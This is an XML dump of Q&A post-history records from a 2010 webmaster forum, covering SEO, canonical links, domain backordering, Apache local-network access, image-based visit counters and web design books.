  <row Id="7162" PostHistoryTypeId="2" PostId="3660" RevisionGUID="e53be735-a56a-4729-904d-6987fc90e400" CreationDate="2010-10-08T21:43:12.027" UserId="108" Text="Jeff is 100% correct in everything he said.  &#xD;&#xA;&#xD;&#xA;Another issue with requesting a syndication site to use &lt;link rel=&quot;canonical&quot; href=&quot;http://example.com/foo&quot;&gt;` is that it tells Google that the syndication page should get no Page Rank and http://example.com/foo should instead get all of it.  &#xD;&#xA;&#xD;&#xA;That creates two major issues.&#xD;&#xA;&#xD;&#xA; 1. The syndication page would not show up at all on Google searches because it has no page rank.  The syndication site would not be the least bit happy about this.  Making it unlikely that they would be willing to make the change if they even could.&#xD;&#xA; 2. It might not affect your site the way you like because you effectively aren't getting linked to from the Syndication site.  I would wonder how Google would handle this. It is true they allow for cross site rel=&quot;canonical&quot; but I believe the purpose of that is for site migration and for having multiple sites under one host with the same content to have one defacto page versus a bunch of similar/same pages." />
  <row Id="7163" PostHistoryTypeId="5" PostId="3660" RevisionGUID="670713ac-6c09-4de1-bbe3-58000a6f0ba4" CreationDate="2010-10-08T22:37:47.000" UserId="3" Comment="added 1 characters in body" Text="Jeff is 100% correct in everything he said.  &#xD;&#xA;&#xD;&#xA;Another issue with requesting a syndication site to use `&lt;link rel=&quot;canonical&quot; href=&quot;http://example.com/foo&quot;&gt;` is that it tells Google that the syndication page should get no Page Rank and http://example.com/foo should instead get all of it.  &#xD;&#xA;&#xD;&#xA;That creates two major issues.&#xD;&#xA;&#xD;&#xA; 1. The syndication page would not show up at all on Google searches because it has no page rank.  The syndication site would not be the least bit happy about this.  Making it unlikely that they would be willing to make the change if they even could.&#xD;&#xA; 2. It might not affect your site the way you like because you effectively aren't getting linked to from the Syndication site.  I would wonder how Google would handle this. It is true they allow for cross site rel=&quot;canonical&quot; but I believe the purpose of that is for site migration and for having multiple sites under one host with the same content to have one defacto page versus a bunch of similar/same pages." />
  <row Id="7164" PostHistoryTypeId="2" PostId="3661" RevisionGUID="7c6b50b9-f28b-4768-b55f-a0a9221bb828" CreationDate="2010-10-09T00:33:30.383" UserId="1184" Text="It seems that information on the topic is a bit sparse in the wild. How do you go about back ordering a domain?&#xD;&#xA;&#xD;&#xA;If you do find a service that will do it for you, does the current owner of the domain name know that it is back ordered?&#xD;&#xA;&#xD;&#xA;How does it work if I back order with one domain registrar and then host the site with another? Does it work something like a normal domain transfer?" />
  <row Id="7165" PostHistoryTypeId="1" PostId="3661" RevisionGUID="7c6b50b9-f28b-4768-b55f-a0a9221bb828" CreationDate="2010-10-09T00:33:30.383" UserId="1184" Text="How to back order domain" />
  <row Id="7166" PostHistoryTypeId="3" PostId="3661" RevisionGUID="7c6b50b9-f28b-4768-b55f-a0a9221bb828" CreationDate="2010-10-09T00:33:30.383" UserId="1184" Text="&lt;domains&gt;&lt;registrar&gt;" />
  <row Id="7167" PostHistoryTypeId="2" PostId="3662" RevisionGUID="0875b103-cebc-4152-9d33-66564f7cf8e3" CreationDate="2010-10-09T00:55:57.693" UserId="1184" Text="I would like to have others inside my local network access resources on my computer at `outsideprojects.192.168.0.10`. I am running Apache and have a virtual host configured so I can access it at `outsideprojects.localhost` but can't seem to be able to access it from the outside.&#xD;&#xA;&#xD;&#xA;I have all firewalls disabled so I don't believe that this is the issue. I would expect that I should be able to access this at `outsideprojects.127.0.0.1` but I cannot do that either.&#xD;&#xA;&#xD;&#xA;What are the Apache configuration options to be able to accomplish this?" />
  <row Id="7168" PostHistoryTypeId="1" PostId="3662" RevisionGUID="0875b103-cebc-4152-9d33-66564f7cf8e3" CreationDate="2010-10-09T00:55:57.693" UserId="1184" Text="How to configure apache to allow access to subdomain on my local ip address" />
  <row Id="7169" PostHistoryTypeId="3" PostId="3662" RevisionGUID="0875b103-cebc-4152-9d33-66564f7cf8e3" CreationDate="2010-10-09T00:55:57.693" UserId="1184" Text="&lt;apache&gt;&lt;server&gt;&lt;http-server&gt;&lt;ip-address&gt;" />
  <row Id="7170" PostHistoryTypeId="2" PostId="3663" RevisionGUID="dd2f9686-603e-44ab-89e8-c671b769b08f" CreationDate="2010-10-09T07:08:38.743" UserDisplayName="spicyBot" Text="You cannot do that from outside network. But for local network you may:&#xD;&#xA;To do this only for the localhost:&#xD;&#xA;open /etc/hosts, you will see 1 line:&#xD;&#xA; 127.0.0.1 localhost&#xD;&#xA;add another line:&#xD;&#xA;127.0.0.1 outsideprojects.192.168.0.10&#xD;&#xA;&#xD;&#xA;In /etc/httpd/conf/httpd.conf you can add this address as another host.&#xD;&#xA;&#xD;&#xA;But be assured, this is &quot;not possible&quot; from outside network, because IP addresses can never contain subdomains! " />
  <row Id="7171" PostHistoryTypeId="2" PostId="3664" RevisionGUID="13c7a92e-3df4-4d05-862f-abb6aef23417" CreationDate="2010-10-09T07:18:40.180" UserId="590" Text="Try doing that with a subdomain from something like [http://www.dyndns.com/][1] opposed to using an ip address.  I imagine that would work better with apache if you want to configure it that way.  to access this from a remote host you would have to open up your firewall and also forward the port from your router.   &#xD;&#xA;&#xD;&#xA;I'm not very familure with apache's configuration but just with the dyndns.com subdomain I access a webserver I have running on my development machine from anywhere without too much trouble.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dyndns.com/" />
  <row Id="7172" PostHistoryTypeId="2" PostId="3665" RevisionGUID="e348c1bd-8a8d-440f-9cf9-fb729ab9c73f" CreationDate="2010-10-09T07:19:33.247" UserDisplayName="spicyBot" Text="Gimp we can trust! packed with features, and sometimes even beats Photoshop!" />
  <row Id="7173" PostHistoryTypeId="5" PostId="3664" RevisionGUID="7243d28c-8746-4ff1-8230-63cfb2dfe7c2" CreationDate="2010-10-09T07:25:33.847" UserId="590" Comment="added 294 characters in body; added 126 characters in body" Text="Try doing that with a subdomain from something like [http://www.dyndns.com/][1] opposed to using an ip address.  I imagine that would work better with apache if you want to configure it that way.  to access this from a remote host you would have to open up your firewall and also forward the port from your router.   &#xD;&#xA;&#xD;&#xA;I'm not very familure with apache's configuration but just with the dyndns.com subdomain I access a webserver I have running on my development machine from anywhere without too much trouble.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT** : now that I notice you want this for your local *network* ...&#xD;&#xA;why the subdomain? The ip address of your machine should be enough? if you want multiple sites just run it on different ports. so 192.168.0.10:80 , 192.168.0.10:81, 192.168.0.10:82.  that would be the easiest thing to do.&#xD;&#xA;&#xD;&#xA;[http://httpd.apache.org/docs/2.0/vhosts/examples.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dyndns.com/&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/vhosts/examples.html" />
  <row Id="7174" PostHistoryTypeId="5" PostId="3664" RevisionGUID="c643343c-186d-4a71-be86-8aa4d6054f00" CreationDate="2010-10-09T07:36:44.470" UserId="590" Comment="added 160 characters in body" Text="Try doing that with a subdomain from something like [http://www.dyndns.com/][1] opposed to using an ip address.  I imagine that would work better with apache if you want to configure it that way.  to access this from a remote host you would have to open up your firewall and also forward the port from your router.   &#xD;&#xA;&#xD;&#xA;I'm not very familure with apache's configuration but just with the dyndns.com subdomain I access a webserver I have running on my development machine from anywhere without too much trouble.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT** : now that I notice you want this for your local *network* ...&#xD;&#xA;why the subdomain? The ip address of your machine should be enough? if you want multiple sites just run it on different ports. so 192.168.0.10:80 , 192.168.0.10:81, 192.168.0.10:82.  that would be the easiest thing to do.&#xD;&#xA;OR another thing you can do is use the name of the computer, which acts as a host name over a local network.  I have no idea if subdomains work with that.&#xD;&#xA;&#xD;&#xA;[http://httpd.apache.org/docs/2.0/vhosts/examples.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dyndns.com/&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/vhosts/examples.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7175" PostHistoryTypeId="5" PostId="3641" RevisionGUID="28213ba5-2d6e-4a2e-8c48-c3b32235eb4a" CreationDate="2010-10-09T08:23:03.110" UserId="196" Comment="spelling" Text="I have an idea to use a (cc-by-sa) data dump from another site, but implement a different voting scheme.&#xD;&#xA;This would still be a site with almost 99% of the data similar.&#xD;&#xA;&#xD;&#xA;I can see two &quot;rules&quot; that search engines may apply&#xD;&#xA;&#xD;&#xA; * Don't duplicate content&#xD;&#xA; * Dont send different data to the bot and the ordinary visitors&#xD;&#xA;&#xD;&#xA;Links to the original site will be present as required by the data dump.&#xD;&#xA;&#xD;&#xA;If only the titles and other new data is shown to the bot it would solve the first rule but would that violate the second? Or should I simply put these pages in a robots.txt banned area?&#xD;&#xA;Would this be going to far.&#xD;&#xA;&#xD;&#xA;I don't care about ranking, only not to be banned.&#xD;&#xA;It should be found if people were specifically looking for alternate voting schemes, from new content that I generate." />
  <row Id="7176" PostHistoryTypeId="2" PostId="3666" RevisionGUID="75953376-4a34-4ba6-80fa-44dbae5cec7a" CreationDate="2010-10-09T08:35:07.887" UserDisplayName="Pierre 303" Text="I want to maximize tbe size and avoid scroll bar or overflow for the maximum too.&#xD;&#xA;&#xD;&#xA;What size do you recommend ?&#xD;&#xA;&#xD;&#xA;I'm using lightbox.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="7177" PostHistoryTypeId="1" PostId="3666" RevisionGUID="75953376-4a34-4ba6-80fa-44dbae5cec7a" CreationDate="2010-10-09T08:35:07.887" UserDisplayName="Pierre 303" Text="What is the best size to use to display full screen size of an application screenshot?" />
  <row Id="7178" PostHistoryTypeId="3" PostId="3666" RevisionGUID="75953376-4a34-4ba6-80fa-44dbae5cec7a" CreationDate="2010-10-09T08:35:07.887" UserDisplayName="Pierre 303" Text="&lt;browsers&gt;" />
  <row Id="7179" PostHistoryTypeId="2" PostId="3667" RevisionGUID="4c3a5ee7-7a0d-4d10-8f56-2ba6033bcf99" CreationDate="2010-10-09T14:54:04.153" UserId="1647" Text="Backordering a domain means using a third party service to order (and usually pay for) a domain which is currently owned by someone else, with the aim to get the domain as soon as it will become available.&#xD;&#xA;&#xD;&#xA;The most part of hosting services usually offer this kind of service. You pay a yearly fee and they will try to register the domain for you as soon as it will became available.&#xD;&#xA;&#xD;&#xA;The current owner of the domain doesn't know anything about it. The service provider doesn't need to inform him. It simply monitors the domain for chances and tries to purchase it in case it becomes available.&#xD;&#xA;&#xD;&#xA;Usually, the provides simply registers the domain. Then, once you become the new domain owner, you have to purchase a separate hosting service, use your own or transfer the domain.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7180" PostHistoryTypeId="2" PostId="3668" RevisionGUID="020c03b0-b90e-454f-b245-853d3c87ca26" CreationDate="2010-10-09T15:04:33.130" UserId="1647" Text="When you run a local search, international and local TLDs usually gets more priority compared to all the others TLDs.&#xD;&#xA;&#xD;&#xA;It means, if you search on `google.it`, a business with a `.it` or `.com` domain has more chances to be in higher position compared to a `.to` domain.&#xD;&#xA;&#xD;&#xA;That said, it really depends on your business. Honestly, I won't really be concerned by search engines. Instead, I would first make sure my business doesn't rely on TLD managed by low-quality authorities to [avoid business risks][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://domainnamewire.com/2010/10/06/libya-shuts-down-ly-link-shortener/" />
  <row Id="7181" PostHistoryTypeId="2" PostId="3669" RevisionGUID="ac388339-b089-4dc9-a499-4dae9a948bed" CreationDate="2010-10-09T15:33:56.587" UserId="978" Text="You say you don't care about ranking - only not to be banned. If so, you could update your robots.txt file to indicate that the duplicated content should not be indexed. " />
  <row Id="7182" PostHistoryTypeId="2" PostId="3670" RevisionGUID="ff91c289-48f0-4c29-baa1-aafab2c224e7" CreationDate="2010-10-09T16:37:41.070" UserId="1424" Text="What are the best books you suggest me about:&#xD;&#xA;&#xD;&#xA;- web design&#xD;&#xA;&#xD;&#xA;- HCI for web applications / websites&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="7183" PostHistoryTypeId="1" PostId="3670" RevisionGUID="ff91c289-48f0-4c29-baa1-aafab2c224e7" CreationDate="2010-10-09T16:37:41.070" UserId="1424" Text="Best books for web design &amp; HCI" />
  <row Id="7184" PostHistoryTypeId="3" PostId="3670" RevisionGUID="ff91c289-48f0-4c29-baa1-aafab2c224e7" CreationDate="2010-10-09T16:37:41.070" UserId="1424" Text="&lt;books&gt;" />
  <row Id="7185" PostHistoryTypeId="2" PostId="3671" RevisionGUID="014107b8-b379-40f8-9ad9-bad8953eec50" CreationDate="2010-10-09T16:40:00.657" UserId="2276" Text="i got a &quot;register user to website&quot; form on my site.&#xD;&#xA;It looks fine in all browsers except Opera and FF..&#xD;&#xA;i tryed to show pics through html so you can see what I mean, but i cant without 10 posts, and i can only post one link, so..&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;here is the one pic and the explanation -&gt;&lt;br /&gt;&#xD;&#xA;http://img183.imageshack.us/img183/4903/45825110.jpg&#xD;&#xA;&#xD;&#xA;notice the vertical spacing between the input boxes...&#xD;&#xA;&#xD;&#xA;how do I make it look the same in all the browsers?&#xD;&#xA;&#xD;&#xA;thanks in advance for the anwsers..&#xD;&#xA;Andrej&#xD;&#xA;&#xD;&#xA;btw: i did't use any css resets on my page.." />
  <row Id="7186" PostHistoryTypeId="1" PostId="3671" RevisionGUID="014107b8-b379-40f8-9ad9-bad8953eec50" CreationDate="2010-10-09T16:40:00.657" UserId="2276" Text="input content in FF &amp; Opera" />
  <row Id="7187" PostHistoryTypeId="3" PostId="3671" RevisionGUID="014107b8-b379-40f8-9ad9-bad8953eec50" CreationDate="2010-10-09T16:40:00.657" UserId="2276" Text="&lt;firefox&gt;&lt;user-input&gt;" />
  <row Id="7188" PostHistoryTypeId="2" PostId="3672" RevisionGUID="423b63bf-e7e3-4446-9160-012212b650f3" CreationDate="2010-10-09T16:49:59.540" UserId="2275" Text="A domain name backorder means paying a domain registry to monitor an existing domain name that someone else owns, and if it becomes available the registry attempts to register it for you.&#xD;&#xA;&#xD;&#xA;There are many such services, and in fact most domain registrars provide it.&#xD;&#xA;&#xD;&#xA;However it's not 100% successful.  Particularly popular domain names may be backordered by many people, so when it becomes available several automated systems may be attempting to register it at the same time, but only one will succeed.&#xD;&#xA;&#xD;&#xA;The current owner of the domain name is not notified, but check the fine print of the backorder services you evaluate.&#xD;&#xA;&#xD;&#xA;Keep in mind that if someone else backorders the same domain, on the same registrar, you suddenly have a conflict - which of you two will the registrar actually attempt to register the domain name for?  The registrar may not tell you that the domain name you've backordered has also been backordered by other customers of theirs.  You might consider asking them how they manage such situations.&#xD;&#xA;&#xD;&#xA;Read the backorder terms.  In general if you backorder the domain and the attempt is successful, then you own the domain just as though you had registered it yourself, and you can use whatever hosting provider you choose.&#xD;&#xA;&#xD;&#xA;If you backorder through a domain registration service that only bundles domains with hosting packages, then you may be stuck with them for hosting.&#xD;&#xA;&#xD;&#xA;Whether you should buy domain names and hosting from the same service is a separate question entirely..." />
  <row Id="7189" PostHistoryTypeId="6" PostId="3670" RevisionGUID="c33e8ba0-c078-4610-86e3-6f10b7be78b2" CreationDate="2010-10-09T17:58:36.207" UserId="1757" Comment="edited tags" Text="&lt;website-design&gt;&lt;usability&gt;&lt;books&gt;" />
  <row Id="7190" PostHistoryTypeId="2" PostId="3673" RevisionGUID="509127cf-7d83-4c42-b916-800a435e49a2" CreationDate="2010-10-09T19:26:11.943" UserId="2059" Text="This could vary by site and user base, but many websites are still supporting a screen width of 1024 pixels wide (because there is still a sizable user base using that resolution).  Therefore, you'd want your image to be big enough to fit into a space that was 1024 pixels wide.  Let's say you have 15px of chrome on the left and right sides of your lightbox and you wanted a 30px margin on either side of that for people running 1024px wide monitor resolutions.  &#xD;&#xA;&#xD;&#xA;1024 - 30px(lightbox chrome) - 60px(margins) = 934px wide image.  &#xD;&#xA;&#xD;&#xA;Again, the specifics might be different for your site, particularly if you want the lightbox edges to lay at a certain point in relation to your page or if you are trying to snap to a grid or something like that." />
  <row Id="7191" PostHistoryTypeId="2" PostId="3674" RevisionGUID="dea67ff8-e1a8-4911-8713-eafa5699c30d" CreationDate="2010-10-09T19:30:50.013" UserId="2059" Text="It's tough without seeing some code, but simple margin / padding issue like that across different browsers can often be remedied by using a browser reset in your css.&#xD;&#xA;&#xD;&#xA;Here's an example, although if you do a google search you'll see that there are many others.  &#xD;&#xA;&#xD;&#xA;[http://www.siolon.com/blog/browser-reset-css/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.siolon.com/blog/browser-reset-css/" />
  <row Id="7192" PostHistoryTypeId="2" PostId="3675" RevisionGUID="5513332d-b813-4402-81c6-274b6f52a4d0" CreationDate="2010-10-09T20:59:04.353" UserId="2278" Text="I need to track number of visits of my publication, but site allows only to insert images, and no javascript.&#xD;&#xA;&#xD;&#xA;I would like to insert white 1x1 pixel image.&#xD;&#xA;&#xD;&#xA;Are the any internet services which provide such functionality and count number of visits via such approach?&#xD;&#xA;&#xD;&#xA;P.S. I am not sure that this site is correct place to ask my question. In such case I will be very appreciate if you direct me to right location&#xD;&#xA;" />
  <row Id="7193" PostHistoryTypeId="1" PostId="3675" RevisionGUID="5513332d-b813-4402-81c6-274b6f52a4d0" CreationDate="2010-10-09T20:59:04.353" UserId="2278" Text="Free Invisible image counter in the html page" />
  <row Id="7194" PostHistoryTypeId="3" PostId="3675" RevisionGUID="5513332d-b813-4402-81c6-274b6f52a4d0" CreationDate="2010-10-09T20:59:04.353" UserId="2278" Text="&lt;images&gt;&lt;visitors&gt;" />
  <row Id="7195" PostHistoryTypeId="2" PostId="3676" RevisionGUID="645fb603-cae2-4876-aa6f-b2b9b35692c3" CreationDate="2010-10-09T21:00:28.800" UserId="233" Text="First, try using a [strict doctype][1] because it reduces cross-browser problems to almost none. At its most simplest you can put `&lt;!doctype html&gt;` as the very first thing on your page, before `&lt;html&gt;`.&#xD;&#xA;&#xD;&#xA;Posting the HTML/CSS code would have been useful but it looks like you need to add a margin to the inputs. At its most basic adding `margin: 2px 0` to your styles for those input should work a treat.&#xD;&#xA;&#xD;&#xA;  [1]: http://reference.sitepoint.com/html/doctypes" />
  <row Id="7196" PostHistoryTypeId="2" PostId="3677" RevisionGUID="7c710d03-19cb-4a56-9461-fe2bf333f685" CreationDate="2010-10-09T21:10:00.587" UserId="233" Text="I believe [Extreme Tracking][1] uses only an image - it's free and the stats are quite useful. You could resize/hide the button, however, there is a chance it could be against their TOS to do that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://extremetracking.com/?free" />
  <row Id="7197" PostHistoryTypeId="2" PostId="3678" RevisionGUID="7cf19b31-9668-4a27-8cb4-ac7029652392" CreationDate="2010-10-09T22:07:16.460" UserId="1064" Text="Ultimately, Google Analytics does exactly the same thing, however, the image URL is created using Javascript.&#xD;&#xA;&#xD;&#xA;If you really, really wanted to use Google Analytics for your site, (albeit with limited functionality) you might take a look at [Troubleshooting The Tracking Code][1] to see how the image URL works - here's the bare minimum to push data to Google:&#xD;&#xA;&#xD;&#xA;    http://www.google-analytics.com/__utm.gif?&#xD;&#xA;    utmhn=&lt;hostname&gt;&amp;&#xD;&#xA;    utmac=&lt;google acct id&gt;&#xD;&#xA;&#xD;&#xA;So if your hostname were &quot;mydomain.com&quot; and your Google account ID were &quot;UA-123ABC-99&quot; then you could use the following image URL on your site:&#xD;&#xA;&#xD;&#xA;    http://www.google-analytics.com/__utm.gif?utmhn=mydomain.com&amp;utmac=UA-123ABC-99&#xD;&#xA;&#xD;&#xA;This limited implementation should allow you to track per-page statistics, unique/returning visitors, and more (you'll be missing any Javascript-enabled features, though - including event tracking).&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingTroubleshooting.html" />
  <row Id="7198" PostHistoryTypeId="2" PostId="3679" RevisionGUID="df6e2266-0ae9-4575-9c2e-067e73956be2" CreationDate="2010-10-09T22:27:49.357" UserId="2279" Text="I have a unusual set up with a website. Unfortunately I cannot serve the website source from the root domain i.e.&#xD;&#xA;&#xD;&#xA;    http://www.example.com&#xD;&#xA;&#xD;&#xA;I've been forced to redirect to a subdirectory to display the website content when the root URL is requested e.g.&#xD;&#xA;&#xD;&#xA;    http://www.example.com&#xD;&#xA;&#xD;&#xA;Has a 301 redirect to:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/subdirectory/index.html&#xD;&#xA;&#xD;&#xA;Would it have an adverse affect on SEO to have this at the root domain?&#xD;&#xA;" />
  <row Id="7199" PostHistoryTypeId="1" PostId="3679" RevisionGUID="df6e2266-0ae9-4575-9c2e-067e73956be2" CreationDate="2010-10-09T22:27:49.357" UserId="2279" Text="Is a 301 redirect on the root domain bad for SEO?" />
  <row Id="7200" PostHistoryTypeId="3" PostId="3679" RevisionGUID="df6e2266-0ae9-4575-9c2e-067e73956be2" CreationDate="2010-10-09T22:27:49.357" UserId="2279" Text="&lt;seo&gt;" />
  <row Id="7201" PostHistoryTypeId="2" PostId="3680" RevisionGUID="2ad31574-8aec-4dcb-8d68-24061316b0fe" CreationDate="2010-10-09T22:47:08.457" UserId="1064" Text="Historically, I've maintained many MediaWiki implementations where this is the case (i.e. `^/wiki/`) and, after switching to a `^/` rewrite configuration, I have not noticed any ranking differences which I would attribute to the change in URI scheme - if it's applied uniformly I wouldn't worry about it." />
  <row Id="7202" PostHistoryTypeId="2" PostId="3681" RevisionGUID="fc811ebb-0ede-44b4-8be3-8d34de13493b" CreationDate="2010-10-10T00:08:33.200" UserId="2059" Text="Definitely not.  This is a widely used redirection tool across many sites.  My personal site redirects from the root directory to a wordpress folder and maintains a pagerank of six." />
  <row Id="7203" PostHistoryTypeId="2" PostId="3682" RevisionGUID="29f7682b-80eb-430e-b5dd-26b14564fbd8" CreationDate="2010-10-10T03:43:58.003" UserId="1064" Text="I find the idea of implementing a shared hosting-friendly OpenID extension which suits MediaWiki intriguing, however, there are some requirements for the JanRain and [PEAR OpenID 0.2.1][1] libraries which, as you've seen, will probably not be embraced by shared hosting providers in the near future.&#xD;&#xA;&#xD;&#xA;It looks as though you are open to solutions other than OpenID and, if you don't mind digging into the authentication code behind the applications you are using, you might consider a simple single sign-on system like the one proposed [here][2] - definitely not the *ideal* solution, (reverse-engineering existing authentication replacements may cut down implementation time but it'll still take a while) but it beats starting from scratch.&#xD;&#xA;&#xD;&#xA;  [1]: http://pear.php.net/package/OpenID&#xD;&#xA;  [2]: http://github.com/jasny/SSO" />
  <row Id="7204" PostHistoryTypeId="2" PostId="3683" RevisionGUID="f5fad108-0f4c-4b01-b57d-6e739c6b8853" CreationDate="2010-10-10T05:39:18.903" UserId="2026" Text="Where do i search to check link popularity for my site? On a different site i get different counts.&#xD;&#xA;&#xD;&#xA;Besides, what is the difference if check for link popularity using `http://article-stack.com/` or `article-stack.com`?&#xD;&#xA;&#xD;&#xA;In 2nd case it shows higher counts." />
  <row Id="7205" PostHistoryTypeId="1" PostId="3683" RevisionGUID="f5fad108-0f4c-4b01-b57d-6e739c6b8853" CreationDate="2010-10-10T05:39:18.903" UserId="2026" Text="Link popularity check" />
  <row Id="7206" PostHistoryTypeId="3" PostId="3683" RevisionGUID="f5fad108-0f4c-4b01-b57d-6e739c6b8853" CreationDate="2010-10-10T05:39:18.903" UserId="2026" Text="&lt;links&gt;" />
  <row Id="7207" PostHistoryTypeId="2" PostId="3684" RevisionGUID="890e4e97-bf19-42b7-b362-ac31e484485e" CreationDate="2010-10-10T09:39:20.470" UserId="1647" Text="The query format really depends on the tool you are using to check the link popularity. Both Yahoo! and Google offer a way to get an accurate list of inbound link from their webmaster console.&#xD;&#xA;&#xD;&#xA;Yahoo calls it [Site Explorer][1], Google offers [Google Webmasters Tools][2]. With Google, you can also use the `link:` operator, but [it is known][3] to offer an approximate number of results.&#xD;&#xA;&#xD;&#xA;The most affordable tool in this area is probably [Majestic SEO][4]. It offers an accurate database of links you can search to get many interesting link analysis.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://siteexplorer.search.yahoo.com/&#xD;&#xA;  [2]: http://www.google.com/webmasters/tools&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=TjQ2QVQpaK0&#xD;&#xA;  [4]: http://www.majesticseo.com/" />
  <row Id="7208" PostHistoryTypeId="2" PostId="3685" RevisionGUID="41f614c9-f5cf-447f-b0e7-5fc472ae29b3" CreationDate="2010-10-10T12:08:32.423" UserId="480" Text="Jakob Neilson's [Don't make me think][1] is a good primer; after that it depends on what you want to achieve.&#xD;&#xA;&#xD;&#xA;For instance Toby Segaran's [Programming Collective Intelligence][2] and Leonard Richardson's [RESTful Web Services][3] have helped deliver HCI benefits and &quot;the feel good factor&quot; far more on projects than any usability book I've read so far (be careful not to throw the baby out with the bathwater, they are still useful).&#xD;&#xA;&#xD;&#xA;If you've not seen anything on [eye-tracking results][4], its certainly worth a look (many books offer you a free chapter on-line and some reports are available for free).&#xD;&#xA;&#xD;&#xA;Afterwards it is worth having:&#xD;&#xA;&#xD;&#xA; - reference books of good website design (there are hundreds)&#xD;&#xA; - RSS feeds from prominent designers&#xD;&#xA; - a &quot;snippets&quot; system with common code&#xD;&#xA;&#xD;&#xA;Try to use reporting to find the weak chinks in terms of user interactivity (books like [Landing Page Optimisation][5] help to make design choices more militant), then find approaches to tackle them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Dont-Make-Me-Think-Usability/dp/0321344758/ref=sr_1_6?s=books&amp;ie=UTF8&amp;qid=1286711402&amp;sr=1-6&#xD;&#xA;  [2]: https://www.amazon.co.uk/Programming-Collective-Intelligence-Building-Applications/dp/0596529325/ref=sr_1_1?ie=UTF8&amp;qid=1286711666&amp;sr=8-1&#xD;&#xA;  [3]: https://www.amazon.co.uk/RESTful-Web-Services-Leonard-Richardson/dp/0596529260/ref=sr_1_1?ie=UTF8&amp;qid=1286711937&amp;sr=8-1&#xD;&#xA;  [4]: http://www.amazon.co.uk/Eyetracking-Usability-Voices-That-Matter/dp/0321498364/ref=sr_1_2?s=books&amp;ie=UTF8&amp;qid=1286711402&amp;sr=1-2&#xD;&#xA;  [5]: http://www.amazon.co.uk/Landing-Page-Optimization-Definitive-Conversions/dp/0470174625/ref=pd_sim_b_2" />
  <row Id="7209" PostHistoryTypeId="2" PostId="3686" RevisionGUID="9875dc88-92d8-42ec-a26f-1f8bb38686fe" CreationDate="2010-10-10T13:18:46.940" UserId="2221" Text="I have backordered a few domains... with some one nice catch.&#xD;&#xA;&#xD;&#xA;My recommendation:&#xD;&#xA;backorder on snapnames.com AND pool.com. These two services seem to be currently the 800-pounds gorillas in the game. I had one name with each of those. You pay only to the service who gets the name for you, so might as well request to both... you never know which service will catch the drop.&#xD;&#xA;&#xD;&#xA;You can also backorder with namejet.com.&#xD;&#xA;&#xD;&#xA;Don't worry about the owner: the owner already has ample reminders from its registrar. Either he is not interested to keep the name, or he/she does not check emails.&#xD;&#xA;&#xD;&#xA;If it's a popular backorder you'll go into an auction.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7210" PostHistoryTypeId="2" PostId="3687" RevisionGUID="a4df74f7-86d3-48bc-a607-c1cda91af85f" CreationDate="2010-10-10T13:57:48.250" UserId="108" Text="One extra thing to add, you do/will lose a very small percentage of your page rank initially from the 301 redirect.  Google alludes to it in their SEO document but it isn't some huge amount, the largest percentage I have seen guessed is 15% and that is probably higher than what it is in reality.&#xD;&#xA;&#xD;&#xA;The only reason for the small loss in SEO ranking is that Google doesn't want to reward looping redirects or looping links that build page rank.&#xD;&#xA;&#xD;&#xA;Also, the company I work for had to do a redirect from www.example.com to www.example-product.com for the entire site and we saw a drop in SERPs for 1 day and then jumped back to the levels from before to the switch.&#xD;&#xA;&#xD;&#xA;Overall, the biggest thing Google says is that you should do what you need to do to give your users the best experience and Google's web crawlers have been given enough logic to reward you for that.  They have over 200 rules for a reason, to make sure they don't ding you much or at all for making your site better.  As others have said major wiki sites do this all the time and haven't seen a huge hit to PR.  Even if you take a very minor hit initially it is for the benefit of the site in the long run so it will be a positive change." />
  <row Id="7211" PostHistoryTypeId="16" PostId="3670" RevisionGUID="6d8e02d3-2926-49d8-abcd-330e88938551" CreationDate="2010-10-10T14:57:48.463" UserId="108" />
  <row Id="7212" PostHistoryTypeId="5" PostId="3647" RevisionGUID="a7a61a31-cddb-486f-bcd7-2c0d52d88ecc" CreationDate="2010-10-10T15:02:17.610" UserId="233" Comment="more info" Text="In short: *yes*, the second is a subset of the first.&#xD;&#xA;&#xD;&#xA;The first query searches for links to your site from anywhere and everywhere (including internal links on your own site). The second query searches for links to your site from stackexchange.com only.&#xD;&#xA;&#xD;&#xA;For more comprehensive and useful results, try these sources:&#xD;&#xA;&#xD;&#xA;* [Google Webmaster Tools][1]&#xD;&#xA;* [Yahoo Site Explorer][2]&#xD;&#xA;* [Open Site Explorer][3]&#xD;&#xA;&#xD;&#xA;EDIT: regarding the fact the &quot;subset&quot; query shows more than the first query: It's likely that the standard `link:` query only shows links without nofollow, whereas the subset simply includes all links from the specified site, whether they count or not.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://siteexplorer.search.yahoo.com/&#xD;&#xA;  [3]: http://www.opensiteexplorer.org/" />
